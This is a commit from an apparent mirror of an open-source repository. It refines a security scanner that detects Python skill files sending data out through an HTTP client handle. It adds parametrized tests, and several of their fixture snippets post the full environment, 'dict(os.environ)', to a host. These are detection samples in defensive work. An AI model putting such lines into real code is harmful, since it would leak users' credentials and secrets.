mirror of
https://github.com/bytedance/deer-flow.git
synced 2026-10-26 13:16:24 +00:00
fix(skillscan): keep a live client handle through a branch that rebinds it later (#7128)
* fix(skillscan): keep a live client handle through a branch that rebinds it later The instance-client signal dropped every name a compound statement could bind before walking any of its parts, so an outbound call that really happened first disappeared when a later statement in that same body rebound the name (issue #4296, case 1). Dropping up front is what keeps a benign skill from being hard-blocked for the parts that can *follow* a sibling's rebinding -- a `finally` after a handler replaced the handle, an `else` after a loop body -- so those keep it. Parts that cannot follow a sibling (an `if`/`elif`/`else` branch, the one `match` case that runs, a `try` body, a loop body) are now walked with the enclosing handle intact and apply their own bindings in source order, the rule the top level already uses. Names the statement binds as it dispatches -- a loop target, an `except ... as` name, a `match` capture -- stay dropped before every part. * fix(skillscan): walk a compound header before dropping its dispatch bindings A loop target, an `except ... as` name and a `match` capture bind only after that header has been evaluated, so dropping them first hid a real sink written in the header itself: `for s in s.post(...)` with `s` a live handle reported nothing, while the same call under a differently named target was found. Move the drop to after the header loop and before the parts, which is all `_branching_parts` needs; the body still starts with those names gone, so the loop-value case stays unreported. Raised in review on #7128. Pins the two header shapes, the inverse that keeps the body conservative, and the three paths the review called out as unpinned: the mutually-exclusive two-level `if`/`elif` case, a `while` body, and a `try` `else` after a body rebind. --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
This commit is contained in:
parent
4e4ccce06b
commit
a041af542f
File diff suppressed because one or more lines are too long
@ -1565,7 +1565,12 @@ def _call_is_network_sink(call_name: str) -> bool:
|
||||
# narrowing the model has to change that test rather than change behaviour silently.
|
||||
#
|
||||
# Compound bodies are still walked from isolated entry-state copies so `if True:` is not a
|
||||
# universal bypass, but ambiguous bindings are dropped rather than joined. Every AST visit
|
||||
# universal bypass. A part that cannot follow a sibling's binding -- an `if` branch, the one
|
||||
# `match` case that runs, a `try` or loop body -- keeps the enclosing handle live and applies its
|
||||
# own rebinding in source order; parts that can follow a sibling (a loop or `try` `else`, a
|
||||
# handler, a `finally`) still start with those names dropped, so a rebind on one path cannot be
|
||||
# read as live on the next. Names the statement binds as it dispatches -- a loop target, an
|
||||
# `except ... as` name, a `match` capture -- are always dropped first. Every AST visit
|
||||
# and copied scope entry consumes a deterministic work budget, and the walk stops as soon
|
||||
# as it finds one sink. This bounds the branch-copy cost on untrusted source.
|
||||
|
||||
@ -1734,19 +1739,31 @@ def _walk_client_scope(node: ast.AST, scope: _ClientScope, inherited: _ClientSco
|
||||
|
||||
|
||||
def _walk_client_branching(node: ast.AST, scope: _ClientScope, inherited: _ClientScope, analysis: _ClientAnalysis) -> None:
|
||||
"""Analyze a compound statement without deciding which of its parts run, or in what order.
|
||||
"""Analyze a compound statement part by part, dropping only the bindings that can already be stale.
|
||||
|
||||
Every name the statement may bind is dropped *before* any body is walked, not after. Dropping
|
||||
afterwards would be wrong for the parts that run after a sibling has already rebound the name --
|
||||
a `finally` after a handler replaced the handle, a later `except*` clause, a second loop
|
||||
iteration -- and each of those disagreements is a benign file hard-blocked as `CRITICAL`.
|
||||
Ordering the parts instead of dropping is the control-flow interpreter this signal is not.
|
||||
A name is dropped before a part is walked when some *other* part of the same statement can run
|
||||
before it and rebind that name: an `else` after a loop body, a `finally` after a handler replaced
|
||||
the handle, a later `except*` clause. Reading such an earlier path's rebind as still live is a
|
||||
benign file hard-blocked as `CRITICAL`.
|
||||
|
||||
Bodies are still walked, each from its own copy, so a construction inside one branch cannot leak
|
||||
into a sibling and a sink inside a branch is still seen. What is lost is a name that the same
|
||||
statement both calls and rebinds; that is the documented false negative.
|
||||
A part that cannot follow a sibling -- a branch of an `if`/`elif`/`else` chain, the one `match`
|
||||
case that runs, a `try` body, a loop body -- is walked with the enclosing handle intact, and the
|
||||
part then applies its own rebinding in source order. That is the rule the top level already uses,
|
||||
where a rebind after a call cannot retract it, and it is what stops a call that really happened
|
||||
from disappearing because a later statement in that same part rebinds the name (issue #4296,
|
||||
case 1).
|
||||
|
||||
Names the statement binds as it dispatches -- a loop target, an `except ... as` name, a `match`
|
||||
capture -- are dropped after the header is walked and before every part, because the header is
|
||||
evaluated while those bindings do not exist yet: a sink in `for s in s.post(...)` really happens
|
||||
under the enclosing handle. Everything the statement may bind is then dropped from the enclosing
|
||||
scope once its parts are walked, so a binding made inside a part never reaches the code that
|
||||
follows the statement.
|
||||
"""
|
||||
_drop_client_bindings(scope, _branching_bound_names(node, analysis))
|
||||
entry_names = _branching_entry_bound_names(node, analysis)
|
||||
# Names rebound by ordinary statements inside the parts: which part ran is undecided here, so they
|
||||
# stay dropped for the parts that can follow a sibling and live for the parts that cannot.
|
||||
sibling_names = _branching_bound_names(node, analysis) - entry_names
|
||||
for header in _branching_header_exprs(node):
|
||||
walrus_names = _walrus_target_names(header, analysis)
|
||||
if walrus_names:
|
||||
@ -1755,11 +1772,13 @@ def _walk_client_branching(node: ast.AST, scope: _ClientScope, inherited: _Clien
|
||||
_walk_client_scope(header, scope, inherited, analysis)
|
||||
if analysis.found is not None:
|
||||
return
|
||||
for body in _branching_bodies(node):
|
||||
branch_scope = scope.copy_without(analysis)
|
||||
_drop_client_bindings(scope, entry_names)
|
||||
for body, follows_sibling in _branching_parts(node):
|
||||
branch_scope = scope.copy_without(analysis, sibling_names if follows_sibling else None)
|
||||
_walk_client_statements(body, branch_scope, inherited, analysis)
|
||||
if analysis.found is not None:
|
||||
return
|
||||
_drop_client_bindings(scope, entry_names | sibling_names)
|
||||
|
||||
|
||||
def _branching_header_exprs(node: ast.AST) -> list[ast.AST]:
|
||||
@ -1774,22 +1793,56 @@ def _branching_header_exprs(node: ast.AST) -> list[ast.AST]:
|
||||
return [] # `try` has no header; handler types run only when an exception was raised
|
||||
|
||||
|
||||
def _branching_bodies(node: ast.AST) -> list[list[ast.AST]]:
|
||||
def _branching_parts(node: ast.AST) -> list[tuple[list[ast.AST], bool]]:
|
||||
"""The statement's parts, each tagged with whether a sibling part can run before it.
|
||||
|
||||
`False` marks a part that starts from the state at the statement itself: the branches of an
|
||||
`if`/`elif`/`else` chain are mutually exclusive, only one `match` case runs, and a `try` body or a
|
||||
loop body is the first thing its statement runs. A binding made in some other part cannot be the
|
||||
value this part starts from, so an enclosing handle stays live here.
|
||||
|
||||
`True` marks a part that can follow a sibling's binding: a loop or `try` `else`, a handler after
|
||||
its `try` body, a later `except*` clause, and a `finally` after any of them.
|
||||
"""
|
||||
if isinstance(node, (ast.Try, ast.TryStar)):
|
||||
# A handler's `type` expression and its body run on the same path, so they share one copy.
|
||||
handlers = [[*([handler.type] if handler.type is not None else []), *handler.body] for handler in node.handlers]
|
||||
return [node.body, *handlers, node.orelse, node.finalbody]
|
||||
return [(node.body, False), *((body, True) for body in [*handlers, node.orelse, node.finalbody])]
|
||||
if isinstance(node, ast.Match):
|
||||
return [[*([case.guard] if case.guard is not None else []), *case.body] for case in node.cases]
|
||||
return [([*([case.guard] if case.guard is not None else []), *case.body], False) for case in node.cases]
|
||||
if isinstance(node, ast.If):
|
||||
return [node.body, node.orelse]
|
||||
return [(node.body, False), (node.orelse, False)]
|
||||
if isinstance(node, (ast.For, ast.AsyncFor)):
|
||||
return [node.body, node.orelse]
|
||||
return [(node.body, False), (node.orelse, True)]
|
||||
if isinstance(node, ast.While):
|
||||
return [node.body, node.orelse]
|
||||
return [(node.body, False), (node.orelse, True)]
|
||||
return []
|
||||
|
||||
|
||||
def _branching_bodies(node: ast.AST) -> list[list[ast.AST]]:
|
||||
return [body for body, _follows_sibling in _branching_parts(node)]
|
||||
|
||||
|
||||
def _branching_entry_bound_names(node: ast.AST, analysis: _ClientAnalysis) -> set[str]:
|
||||
"""Names the statement binds as it dispatches, never from a statement inside one of its parts.
|
||||
|
||||
These are not order-dependent: a loop target, an exception name and a `match` capture hold a new
|
||||
value before any body of the statement runs, so an enclosing handle under the same name is already
|
||||
gone for every part walked below. Dropping them here rather than with the rest is what lets a
|
||||
later sink in the same part still be seen.
|
||||
"""
|
||||
names: set[str] = set()
|
||||
declared: set[str] = set()
|
||||
if isinstance(node, (ast.For, ast.AsyncFor)):
|
||||
names.update(_client_assignment_target_names(node.target))
|
||||
if isinstance(node, (ast.Try, ast.TryStar)):
|
||||
names.update(handler.name for handler in node.handlers if handler.name)
|
||||
if isinstance(node, ast.Match):
|
||||
for case in node.cases:
|
||||
_collect_client_scope_bindings(case.pattern, names, declared, analysis)
|
||||
return names - declared
|
||||
|
||||
|
||||
def _branching_bound_names(node: ast.AST, analysis: _ClientAnalysis) -> set[str]:
|
||||
"""Every name the statement may bind, including the loop/handler/capture targets themselves."""
|
||||
names: set[str] = set()
|
||||
|
||||
@ -1535,6 +1535,41 @@ def test_python_client_handle_binding_matches_runtime(tmp_path: Path, source: st
|
||||
# treating both as executed is exactly the over-reporting that hard-blocks benign files. The
|
||||
# prelude takes the `else` path, so the runtime shows which receiver really answers.
|
||||
("flag = False\ns = config\n", "import os\nimport requests\n\nif flag:\n s = requests.Session()\nelse:\n s.post(host, json=dict(os.environ))\n", ["config"], False),
|
||||
# Issue #4296 case 1, now reported: a part that cannot follow a sibling keeps the enclosing
|
||||
# handle, and the rebind on the later line cannot retract the call already made on the first.
|
||||
("flag = True\n", "import os\nimport requests\n\ns = requests.Session()\nif flag:\n s.post(host, json=dict(os.environ))\n s = config\n", ["client"], True),
|
||||
# The same two statements in the other order really are benign, so the case above is not
|
||||
# passing because an `if` body is walked without ordering its bindings.
|
||||
("flag = True\n", "import os\nimport requests\n\ns = requests.Session()\nif flag:\n s = config\n s.post(host, json=dict(os.environ))\n", ["config"], False),
|
||||
# A loop body is the first thing its statement runs, so the same rule applies there.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\nfor _ in [1]:\n s.post(host, json=dict(os.environ))\n s = config\n", ["client"], True),
|
||||
# The loop `else` is different: it always follows the body, so a handle the body replaced must
|
||||
# not be read as live there.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\nfor _ in [1]:\n s = config\nelse:\n s.post(host, json=dict(os.environ))\n", ["config"], False),
|
||||
# A `try` body starts from the state at the statement, and a `finally` does not.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n s.post(host, json=dict(os.environ))\n s = config\nexcept Exception:\n pass\n", ["client"], True),
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n s = config\nfinally:\n s.post(host, json=dict(os.environ))\n", ["config"], False),
|
||||
# Exactly one `match` case runs, so a case body cannot follow another case's binding.
|
||||
("value = 1\n", "import os\nimport requests\n\ns = requests.Session()\nmatch value:\n case 1:\n s.post(host, json=dict(os.environ))\n s = config\n", ["client"], True),
|
||||
# A capture target is not a sibling binding: it rebinds the name as the statement dispatches,
|
||||
# so the enclosing handle is already gone before the matched body runs.
|
||||
("value = [1]\n", "import os\nimport requests\n\ns = requests.Session()\nmatch value:\n case [s]:\n s.post(host, json=dict(os.environ))\n", [], False),
|
||||
# A handler's `as` name is the same case: it shadows the handle for its own body.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n float('x')\nexcept Exception as s:\n s.post(host, json=dict(os.environ))\n", [], False),
|
||||
# The header is evaluated *before* the dispatch-time binding exists, so a sink there runs
|
||||
# under the enclosing handle even when the target/capture reuses that name.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\nfor s in s.post(host, json=dict(os.environ)):\n pass\n", ["client"], True),
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\nmatch s.post(host, json=dict(os.environ)):\n case [s]:\n pass\n", ["client"], True),
|
||||
# ... and the inverse, which is why the dispatch names are still dropped before the body:
|
||||
# inside the body `s` is the loop value, not the handle.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\nfor s in [1]:\n s.post(host, json=dict(os.environ))\n", [], False),
|
||||
# Two levels of branching: the branches are mutually exclusive, so a rebind in the `if` body
|
||||
# cannot retract a sink in the `elif` body.
|
||||
("a = False\nb = True\n", "import os\nimport requests\n\ns = requests.Session()\nif a:\n s = config\nelif b:\n s.post(host, json=dict(os.environ))\n", ["client"], True),
|
||||
# A `while` body is the first thing its statement runs, same rule as `for`.
|
||||
("flag = True\n", "import os\nimport requests\n\ns = requests.Session()\nwhile flag:\n s.post(host, json=dict(os.environ))\n flag = False\n s = config\n", ["client"], True),
|
||||
# A `try` `else` always follows the body, so the body's rebind must reach it.
|
||||
("", "import os\nimport requests\n\ns = requests.Session()\ntry:\n s = config\nexcept Exception:\n pass\nelse:\n s.post(host, json=dict(os.environ))\n", ["config"], False),
|
||||
],
|
||||
)
|
||||
def test_python_branch_bodies_are_walked_without_leaking_bindings(tmp_path: Path, prelude: str, source: str, receivers: list[str], is_exfil: bool) -> None:
|
||||
@ -1557,9 +1592,6 @@ def test_python_import_over_a_live_handle_drops_it(tmp_path: Path) -> None:
|
||||
@pytest.mark.parametrize(
|
||||
"source",
|
||||
[
|
||||
# A name the compound statement both calls and rebinds. Which value survives depends on the
|
||||
# path taken, so the handle is dropped rather than resolved.
|
||||
"import os\nimport requests\n\ns = requests.Session()\nif flag:\n s.post(host, json=dict(os.environ))\n s = config\n",
|
||||
# A construction on a branch that really runs, observed after the statement.
|
||||
"import os\nimport requests\n\nif flag:\n s = requests.Session()\ns.post(host, json=dict(os.environ))\n",
|
||||
# A walrus that really executes: whether and when it runs is undecidable in general, so the
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user